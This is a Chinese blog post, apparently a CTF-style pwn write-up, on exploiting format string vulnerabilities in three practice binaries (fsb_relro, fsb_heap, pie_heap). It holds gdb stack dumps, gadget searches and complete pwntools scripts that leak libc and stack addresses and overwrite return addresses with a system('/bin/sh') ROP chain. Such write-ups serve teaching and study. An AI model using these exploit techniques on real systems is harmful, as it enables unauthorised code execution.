ZoE

个人站

Pwn的挖坑填坑之旅


从五个例子来理解格式化字符串漏洞(二)

从五个例子来理解格式化字符串漏洞(二)

fsb_relro

checksec 看一下开了的保护

root@kali:~/Desktop/release# checksec fsb_relro 
[*] '/root/Desktop/release/fsb_relro'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

然后IDA载入看一下:

发现有for循环执行echo函数,但是从这道题开的保护来看,我们可以知道这道题与上一道题的不同点在于开了RELRO保护,意味着我们不能通过改写got表来进行跳转到system函数执行了,同时这道题也是没有getshell函数,也是有一个明显的格式化字符串漏洞可以利用。

这道题思想不难,主要是找偏移,逐个点逐个点地去找。

这个是泄露出栈的地址(0x7ffc63887030)的时候,查看栈的情况: 怎样泄漏的呢?就是在泄露__libc_start_main的时候,在他的前面找了一个echo函数的ebp,因为这个地址肯定在栈上,后面就直接用该值和其他栈上的偏移量来表示其他栈上的地址就ok了。下面ret要改写的地址就是用这个方法来得到的。

gdb-peda$ x /30xg 0x7ffc63887030
0x7ffc63887030:	0x00000000004009a0	0x00007feffb4202e1
0x7ffc63887040:	0x0000000000040000	0x00007ffc63887118
0x7ffc63887050:	0x00000001fb5612a8	0x000000000040094f
0x7ffc63887060:	0x0000000000000000	0xe7ba5c95187a5db9
0x7ffc63887070:	0x00000000004006f0	0x00007ffc63887110
0x7ffc63887080:	0x0000000000000000	0x0000000000000000
0x7ffc63887090:	0x18429b05ebba5db9	0x1865aa910e085db9
0x7ffc638870a0:	0x0000000000000000	0x0000000000000000
0x7ffc638870b0:	0x0000000000000000	0x00007ffc63887128
0x7ffc638870c0:	0x00007feffb9c2170	0x00007feffb7ac9ab
0x7ffc638870d0:	0x0000000000000000	0x0000000000000000
0x7ffc638870e0:	0x00000000004006f0	0x00007ffc63887110
0x7ffc638870f0:	0x0000000000000000	0x0000000000400719
0x7ffc63887100:	0x00007ffc63887108	0x000000000000001c
0x7ffc63887110:	0x0000000000000001	0x00007ffc63887411

在echo的返回地址那里下一个断点,因为要修改返回地址。从返回地址开始修改,依次修改为pop rdi;ret的地址、/bin/sh\x00的地址和system的地址就可以getshell了。

下好断点之后,就c继续执行停到相应位置

[-------------------------------------code-------------------------------------]
   0x400860 <echo+122>:	je     0x400867 <echo+129>
   0x400862 <echo+124>:	call   0x400698
   0x400867 <echo+129>:	leave  
=> 0x400868 <echo+130>:	ret    
   0x400869 <timeout>:	push   rbp
   0x40086a <timeout+1>:	mov    rbp,rsp
   0x40086d <timeout+4>:	mov    edi,0x400a40
   0x400872 <timeout+9>:	call   0x400690
[------------------------------------stack-------------------------------------]
0000| 0x7ffd79d4fba8 --> 0x400982 (<main+51>:	add    DWORD PTR [rbp-0x4],0x1)
0008| 0x7ffd79d4fbb0 --> 0x7ffd79d4fcb8 --> 0x7ffd79d50411 ("fsb_relro")
0016| 0x7ffd79d4fbb8 --> 0x1004006f0 
0024| 0x7ffd79d4fbc0 --> 0x7ffd79d4fcb0 --> 0x1 
0032| 0x7ffd79d4fbc8 --> 0x0 
0040| 0x7ffd79d4fbd0 --> 0x4009a0 (<__libc_csu_init>:	push   r15)
0048| 0x7ffd79d4fbd8 --> 0x7fbeaa69e2e1 (<__libc_start_main+241>:	mov    edi,eax)
0056| 0x7ffd79d4fbe0 --> 0x40000 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0000000000400868 in echo ()

当前rsp的情况:

相应的情况如上,所以我们明确地看到程序已经运行到echo的返回地址上了,可以看到原来栈上的栈顶指针是指向0x400982(echo的返回地址,在main函数的地址),因此我们需要把栈上的栈顶指针改为指向一个pop rdi;ret这个gadget上,然后再给rdi赋值为/bin/sh\x00(栈顶指针+8),最后把system放到这个gadget的ret(栈顶指针+16)上就可以了。 并且两个值计算可以得到相差0x28

>>> hex(0x7ffd79d4fba8-0x7ffd79d4fbd0)
'-0x28'

查找gadget :ROPgadget --binary fsb_relro --only "pop|ret"

root@kali:~/Desktop/release# ROPgadget --binary fsb_relro --only "pop|ret"
Gadgets information
============================================================
0x00000000004009fc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004009fe : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400a00 : pop r14 ; pop r15 ; ret
0x0000000000400a02 : pop r15 ; ret
0x00000000004009fb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004009ff : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400750 : pop rbp ; ret
0x0000000000400a03 : pop rdi ; ret
0x0000000000400a01 : pop rsi ; pop r15 ; ret
0x00000000004009fd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400679 : ret

Unique gadgets found: 11

查找/bin/sh(因为用的是本地库,所以我就直接把本地库cp出来直接找了,但是如果是远程库,那就另当别论了)

root@kali:~/libc-database# ROPgadget --binary libc-2.24.so --string "/bin/sh"
Strings information
============================================================
0x00000000001619b9 : /bin/sh

然后后面依次改地址的方法跟前面几个题目都是一样的,就不多说了。

上脚本:

from pwn import *

p = process('fsb_relro') #env = {'LD_PRELOAD':'./libc.so.6'}
#libc = ELF('libc.so.6')
#elf = ELF('fsb_inf')

def s_sub(a,b):
    if a<b:
       return 0x10000 + a - b 
    return a - b 

payload = ""
payload += "%78$p.%79$p.%72$p." 

pause()

p.recv()
p.sendline(payload)
p.recvuntil(".")
libc_start_main_ret = int(p.recvuntil(".",drop = True),16)
#print hex(libc_start_main_ret)
log.info("libc_start_main_ret addr: " + hex(libc_start_main_ret))
stack_addr = int(p.recvuntil(".",drop = True),16)
log.info("stack_addr addr: " + hex(stack_addr))

pause()

libc_base = libc_start_main_ret - 0x202e1
system_addr = libc_base + 0x3f480
printf_addr = libc_base + 0x4f190
sh_addr = libc_base + 0x1619b9
log.info("system_addr addr: " + hex(system_addr))
log.info("printf_addr addr: " + hex(printf_addr))
log.info("sh_addr addr: " + hex(sh_addr))

pr_addr = 0x400a03

n = 6 + 14
pattern = "%{}c%{}$hn"

payload = ""
### pop rdi; ret

payload += pattern.format(0x0a03,n)

### "/bin/sh\x00"

sh_low = sh_addr & 0xffff
sh_mid = (sh_addr >> 16) & 0xffff
sh_high = (sh_addr >> 32) & 0xffff

payload += pattern.format(s_sub(sh_low,0x0a03),n+1)
payload += pattern.format(s_sub(sh_mid,sh_low),n+2)
payload += pattern.format(s_sub(sh_high,sh_mid),n+3)

### system

system_low = system_addr & 0xffff
system_mid = (system_addr >> 16) & 0xffff
system_high = (system_addr >> 32) & 0xffff

payload += pattern.format(s_sub(system_low,sh_high),n+4)
payload += pattern.format(s_sub(system_mid,system_low),n+5)
payload += pattern.format(s_sub(system_high,system_mid),n+6)

###padding

payload = payload.ljust(112,"A") #7*16=112

# ret -->  pop rid; ret
payload += p64(stack_addr-0x28)

# rdi --> "/bin/sh\x00"
payload += p64(stack_addr-0x28+8)
payload += p64(stack_addr-0x28+10)
payload += p64(stack_addr-0x28+12)

# system
payload +=p64(stack_addr-0x28+16)
payload +=p64(stack_addr-0x28+18)
payload +=p64(stack_addr-0x28+20)

pause()

p.sendline(payload)

p.interactive()

fsb_heap

源码放上来:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <signal.h>

void echo() {
    int size = 0x200;
    char *buf = malloc(size);
    memset(buf, 0, size);

    fgets(buf, size, stdin);
    printf(buf);
    puts("\nain't it cool, bye now");
}

void timeout() {
    puts("Time is up");
    exit(1);
}

void welcome() {
    setvbuf(stdin, 0LL, 2, 0LL);
    setvbuf(stdout, 0LL, 2, 0LL);

    char welcome[] =
        "================================================\n"
        "Welcome to the super echo-mon-better system, it \n"
        "will echo anything you said, like:\n\n"
        "Melody: I wanna a flag, mom\n"
        "Mom: I wanna a flag, mom\n"
        "================================================\n";
    puts(welcome);

    signal(SIGALRM, timeout);
    alarm(5);
}

void echo_mon_better() {
    int i = 0;
    for (i = 0; i < 100; ++i) {
        echo();
    }
    return 0;
}

int main(int argc, char const *argv[]) {
    welcome();
    echo_mon_better();
    return 0;
}

这道题的主要思路是利用RBP链来作为跳板修改echo_mon_better的返回地址为pop rdi;ret的地址,然后依次往后布置为/bin/sh的地址和system的地址,最后循环够一百次退出echo_mon_better函数的时候就可以getshell了。

挖坑填坑历程(纯粹记录,没兴趣完全可以跳过):

(找到这个思路的过程可谓艰辛,先是误以为在直接在栈上放一段POR,但是发现栈上根本无法执行(NX保护),然后就想改got表,但发现要改的地址不在栈上,利用RBP链跳板是做不到的,所以还有可以控PC的就剩下改返回地址了,那问题来了,是改echo的返回地址呢还是改他的上层函数echo_mon_better的返回地址呢?我先是试了后者,但是发现这个与泄露出来的栈上的地址的偏移量非常大,随后验证了一下这个偏移量发现是不正确的,所以就放弃了,然后就去修改echo的返回地址,然后发现一改返回地址,就会跳到那个地址去执行了都还没等我布置好后面两个参数,后来想了个办法,就是先布置好后面两个参数(/bin/sh和system地址)再改ret为pop rdi;ret的地址,最后怎样试都不行,最后发现我这样一改,把上层函数的Canary给改掉了,立刻报错没让我改ret了;最后再去验证一次echo_mon_better的返回地址的时候发现偏移也就只有8,之前算错了,要改的东西就在隔壁啊。。以后一定有思路一定要算多几次才行!!!)

下面开始进入正题:

这道题最大的不同就是我们输入的参数是放在堆上的,那么我们的栈就变得不可控了,我们输入的参数是放在栈上的一个地址里面的,如下面例子

gdb-peda$ x /30xg $rsp
0x7fffffffdfa0: 0x000002003d3d3d3d  0x0000000000602010
0x7fffffffdfb0: 0x00007fffffffdfd0  0x00000000004009bb
0x7fffffffdfc0: 0x0000000000000000  0x00000000939ab900
0x7fffffffdfd0: 0x00007fffffffdff0  0x00000000004009eb
0x7fffffffdfe0: 0x00007fffffffe0d8  0x0000000100000000
0x7fffffffdff0: 0x0000000000400a00  0x00007ffff7a5c2e1
0x7fffffffe000: 0x0000000000000000  0x00007fffffffe0d8
0x7fffffffe010: 0x0000000100000000  0x00000000004009c8
0x7fffffffe020: 0x0000000000000000  0x1017cfbb8f0a6e51
0x7fffffffe030: 0x0000000000400750  0x00007fffffffe0d0
0x7fffffffe040: 0x0000000000000000  0x0000000000000000
0x7fffffffe050: 0xefe830c45b0a6e51  0xefe820701e386e51
0x7fffffffe060: 0x0000000000000000  0x0000000000000000
0x7fffffffe070: 0x0000000000000000  0x0000000000000001
0x7fffffffe080: 0x00000000004009c8  0x0000000000400a70
gdb-peda$ x 0x0000000000602010
0x602010:   0x4141414141414141
gdb-peda$ 

上面可以看到我们的栈的情况变得跟以前不一样了,那我们要怎样利用格式化字符串来构成一个任意地址写的功能呢?这里我们需要知道一个知识点—RBP链(其实就是一个三连跳):

怎样利用这个RBP链来构成一个跳板来执行栈上任意地址写呢?首先我们知道格式化字符串的%n是把一个值写到一个指针所指向的地址上去。正是如此我们才不能直接往栈上写,因为我们不能确保第几个参数上的那个指针是否是一个有效指针。所以我们需要用到跳板。这个RBP链的跳板主要是通过修改0x00007fffffffdfd0这个指针所指向的0x00007fffffffdff0这个值的后四位,让其仍然是一个栈上的地址;然后再修改0x00007fffffffdff0(这个表示上一步修改后的值)所指向的地址,就可以实现修改栈上任意地址的值了。

这里提醒一点就是泄露地址:用前面的方法泄露,易得0x00007fffffffdfd0是第八个参数__libc_start_main是第十七个参数等。

首先跟前面的题目一样,泄露出libc的基地址和system地址、/bin/sh的地址;最后再找到一个pop rdi;ret的gadget,准备工作就做完了。

root@kali:~/Desktop/release# ROPgadget --binary fsb_heap --only "pop|ret"
Gadgets information
============================================================
0x0000000000400a5c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400a5e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400a60 : pop r14 ; pop r15 ; ret
0x0000000000400a62 : pop r15 ; ret
0x0000000000400a5b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400a5f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007b0 : pop rbp ; ret
0x0000000000400a63 : pop rdi ; ret
0x0000000000400a61 : pop rsi ; pop r15 ; ret
0x0000000000400a5d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400679 : ret

Unique gadgets found: 11

找system地址跟上面的题目方法一样,直接p system 然后xinfo看一下偏移量。 找/bin/sh\x00

gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0x7fcaf43ce9b9 --> 0x68732f6e69622f ('/bin/sh')
gdb-peda$ xinfo 0x7fcaf43ce9b9
0x7fcaf43ce9b9 --> 0x68732f6e69622f ('/bin/sh')
Virtual memory mapping:
Start : 0x00007fcaf426d000
End   : 0x00007fcaf4400000
Offset: 0x1619b9
Perm  : r-xp
Name  : /lib/x86_64-linux-gnu/libc-2.24.so
gdb-peda$ 

详细脚本如下: 上脚本:

from pwn import *

p = process('fsb_heap') #env = {'LD_PRELOAD':'./libc.so.6'}
#libc = ELF('libc.so.6')
elf = ELF('fsb_heap')

def s_sub(a,b):
    if a<b:
       return 0x10000 + a - b 
    return a - b 

##########step1##########

payload = ""
payload += "%7$p.%8$p.%17$p.%12$p." 

#pause()

p.recv()
p.sendline(payload)
p.recvuntil(".")
stack_addr1 = int(p.recvuntil(".",drop = True),16)
log.info("stack_addr1 addr: " + hex(stack_addr1))
libc_start_main_ret = int(p.recvuntil(".",drop = True),16)
log.info("libc_start_main_ret addr: " + hex(libc_start_main_ret))
stack_addr2 = int(p.recvuntil(".",drop = True),16)
log.info("stack_addr2 addr: " + hex(stack_addr2))

libc_base = libc_start_main_ret - 0x202e1
system_addr = libc_base + 0x3f480
sh_addr = libc_base + 0x1619b9
log.info("libc_base addr: " + hex(libc_base))
log.info("system_addr addr: " + hex(system_addr))
log.info("sh_addr addr: " + hex(sh_addr))


##########step2##########

#########ret addr#######
#echo_better_ret = 0x7ffcb0f30b18
echo_better_ret = stack_addr1 + 0x34f0cd4b8
#echo_ret = 0x7fffffffdfb8
echo_ret = stack_addr1 + 0x18

'''
##############test############
for i in range(0,98) :
   p.sendline('wait')

pause()


p.sendline('wait')

p.interactive()
#############test##############

'''

pr_addr = 0x400a63


def edit1(low):
    pattern = "%{}c%{}$hn"
    payload = ""
    payload += pattern.format(low,8)
    payload = payload.ljust(16,"A")
    #pause()
    p.sendline(payload)

def edit2(data):
    pattern = "%{}c%{}$hn"
    payload = ""
    payload += pattern.format(data,12)
    payload = payload.ljust(16,"B")
    #pause()
    p.sendline(payload)

n = 16 + 14
pattern = "%{}c%{}$hn"

stack_addr2_low = stack_addr2 & 0xffff

a = stack_addr2_low -0x38

print hex(stack_addr2_low)

######## pop rdi;ret


edit1(stack_addr2_low - 24)
edit2(0x0a63)

### "/bin/sh\x00"

sh_low = sh_addr & 0xffff
sh_mid = (sh_addr >> 16) & 0xffff
sh_high = (sh_addr >> 32) & 0xffff
print hex(sh_low)
print hex(stack_addr2_low -16)
edit1(stack_addr2_low - 16)
edit2(sh_low)
edit1(stack_addr2_low - 14)
edit2(sh_mid)
edit1(stack_addr2_low - 12)
edit2(sh_high)


### system

system_low = system_addr & 0xffff
system_mid = (system_addr >> 16) & 0xffff
system_high = (system_addr >> 32) & 0xffff

edit1(stack_addr2_low -8)
edit2(system_low)
edit1(stack_addr2_low -6)
edit2(system_mid)
edit1(stack_addr2_low -4)
edit2(system_high)


###send to 100 ,let it out of echo_better
for i in range(0,84) :
   p.sendline('wait')

###### wrong #
'''
pattern = "%{}c%{}$hn"
payload1 = ""
payload1 += pattern.format(a,8)
payload1 = payload1.ljust(16,"A")
pause()
p.sendline(payload1)
pattern = "%{}c%{}$hn"
payload2 = ""
payload2 += pattern.format(0x0a63,12)
payload2 = payload2.ljust(16,"B")
pause()
p.sendline(payload2)
'''
#edit1(stack_addr2_low -56)
#edit2(0x0a63)

###### wrong #

pause()

p.interactive()

pie_heap

加了pie之后其实也没有什么区别,就是要多泄露一个PIE地址来找偏移,再把动态加载之后的真正的gadget地址找出来就行了,相对于没PIE其实有格式化字符串就是多了一步泄露pie地址然后计算偏移量计算就ok。

提醒:这个还有个如何把一串0x0000写入内存,因为%0c是有一个字符的,所以这样写是不正确的,我们可以这样:”%{}ca%{}$hn”,再往里写0xffff个字符然后他就会写入0x10000,高位去除就剩下0x0000了

上脚本

from pwn import *

p = process('pie_heap') #env = {'LD_PRELOAD':'./libc.so.6'}
#libc = ELF('libc.so.6')
elf = ELF('pie_heap')

def s_sub(a,b):
    if a<b:
       return 0x10000 + a - b 
    return a - b 

##########step1##########

payload = ""
payload += "%7$p.%8$p.%17$p.%12$p.%13$p." 



p.recv()
p.sendline(payload)
p.recvuntil(".")
stack_addr1 = int(p.recvuntil(".",drop = True),16)
log.info("stack_addr1 addr: " + hex(stack_addr1))
libc_start_main_ret = int(p.recvuntil(".",drop = True),16)
log.info("libc_start_main_ret addr: " + hex(libc_start_main_ret))
stack_addr2 = int(p.recvuntil(".",drop = True),16)
log.info("stack_addr2 addr: " + hex(stack_addr2))
pie_addr = int(p.recvuntil(".",drop = True),16)
log.info("pie_addr addr: " + hex(pie_addr))

libc_base = libc_start_main_ret - 0x202e1
system_addr = libc_base + 0x3f480
sh_addr = libc_base + 0x1619b9
log.info("libc_base addr: " + hex(libc_base))
log.info("system_addr addr: " + hex(system_addr))
log.info("sh_addr addr: " + hex(sh_addr))
log.info("ret_addr addr: " + hex(stack_addr2 + 8))



##########step2##########

#########ret addr#######
#echo_better_ret = 0x7ffcb0f30b18
echo_better_ret = pie_addr - 36
printf_addr = pie_addr - 338
log.info("printf_addr addr: " + hex(printf_addr))
log.info("echo_better_ret addr: " + hex(echo_better_ret))
#echo_ret = 0x7fffffffdfb8
echo_ret = stack_addr1 + 0x18
pr_addr = pie_addr + 0x6c
log.info("pr_addr addr: " + hex(pr_addr + 8))

pause()

'''

##############test############
for i in range(0,99) :
   p.sendline('wait')

pause()


p.sendline('wait')

p.interactive()
#############test##############

'''



def edit1(low):
    pattern = "%{}c%{}$hn"
    payload = ""
    payload += pattern.format(low,8)
    payload = payload.ljust(16,"A")
    #pause()
    p.sendline(payload)

def edit2(data):
    pattern = "%{}c%{}$hn"
    payload = ""
    payload += pattern.format(data,12)
    payload = payload.ljust(16,"B")
    #pause()
    p.sendline(payload)

n = 16 + 14
pattern = "%{}c%{}$hn"

stack_addr2_low = stack_addr2 & 0xffff

a = stack_addr2_low -0x38

print hex(stack_addr2_low)

######## pop rdi;ret

pr_low = pr_addr & 0xffff
pr_mid = (pr_addr >> 16) & 0xffff
pr_high = (pr_addr >> 32) & 0xffff
edit1(stack_addr2_low - 24)
edit2(pr_low)
edit1(stack_addr2_low - 22)
edit2(pr_mid)
edit1(stack_addr2_low - 20)
edit2(pr_high)
 
### "/bin/sh\x00"

sh_low = sh_addr & 0xffff
sh_mid = (sh_addr >> 16) & 0xffff
sh_high = (sh_addr >> 32) & 0xffff
print hex(sh_low)
print hex(stack_addr2_low -16)
edit1(stack_addr2_low - 16)
edit2(sh_low)
edit1(stack_addr2_low - 14)
edit2(sh_mid)
edit1(stack_addr2_low - 12)
edit2(sh_high)


### system

system_low = system_addr & 0xffff
system_mid = (system_addr >> 16) & 0xffff
system_high = (system_addr >> 32) & 0xffff

edit1(stack_addr2_low -8)
edit2(system_low)
edit1(stack_addr2_low -6)
edit2(system_mid)
edit1(stack_addr2_low -4)
edit2(system_high)


###send to 100 ,let it out of echo_better
for i in range(0,80) :
   p.sendline('wait')

pause()

p.interactive()

打赏一个呗

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦